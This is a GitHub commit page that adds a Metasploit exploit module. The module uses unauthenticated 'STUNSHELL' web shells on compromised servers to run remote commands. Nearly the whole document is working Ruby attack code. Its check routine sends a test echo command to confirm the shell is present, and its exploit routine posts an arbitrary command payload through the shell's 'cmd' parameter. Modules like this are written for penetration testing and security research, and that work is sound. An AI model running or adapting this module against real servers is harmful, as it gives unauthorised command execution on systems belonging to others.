Skip to content

Commit 7e0b0ac

Browse files
author
bwall
committed
Added STUNSHELL webshell remote command execution module
1 parent 49ac3ac commit 7e0b0ac

File tree

1 file changed

+88
-0
lines changed

1 file changed

+88
-0
lines changed
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
5+
include Msf::Exploit::Remote::HttpClient
6+
7+
def initialize(info={})
8+
super(update_info(info,
9+
'Name' => '"STUNSHELL" Web Shell Remote Code Execution',
10+
'Description' => %q{
11+
This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
12+
module works when safe mode is disabled on the web server. This shell is widely
13+
used in automated RFI payloads.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' =>
17+
[
18+
'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module
19+
],
20+
'References' =>
21+
[
22+
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
23+
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007'],
24+
],
25+
'Privileged' => false,
26+
'Payload' =>
27+
{
28+
'Space' => 10000, # Need to test this
29+
'BadChars' => '',
30+
'DisableNops' => true,
31+
'Compat' =>
32+
{
33+
'PayloadType' => 'cmd',
34+
}
35+
},
36+
'Platform' => ['unix', 'win'],
37+
'Arch' => ARCH_CMD,
38+
'Targets' => [['Automatic',{}]],
39+
'DisclosureDate' => 'March 23 2013',
40+
'DefaultTarget' => 0))
41+
42+
register_options(
43+
[
44+
OptString.new('URI',[true, "The path to the andalas_oku shell", "/"]),
45+
],self.class)
46+
end
47+
48+
def check
49+
uri = normalize_uri(datastore['URI'])
50+
request_parameters = {
51+
'method' => 'POST',
52+
'uri' => uri,
53+
'vars_post' =>
54+
{
55+
'cmd' => "echo 'andalas_oku test parameter'"
56+
}
57+
}
58+
shell = send_request_cgi(request_parameters)
59+
if (shell and shell.body =~ /andalas_oku test parameter/)
60+
return Exploit::CheckCode::Vulnerable
61+
end
62+
return Exploit::CheckCode::Safe
63+
end
64+
65+
def http_send_command(cmd, opts = {})
66+
uri = normalize_uri(datastore['URI'])
67+
request_parameters = {
68+
'method' => 'POST',
69+
'uri' => uri,
70+
'vars_post' =>
71+
{
72+
'cmd' => cmd
73+
}
74+
}
75+
res = send_request_cgi(request_parameters)
76+
if not (res and res.code == 200)
77+
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
78+
end
79+
end
80+
81+
def execute_command(cmd, opts = {})
82+
http_send_command("#{cmd}")
83+
end
84+
85+
def exploit
86+
http_send_command(payload.encoded)
87+
end
88+
end

0 commit comments

Comments
 (0)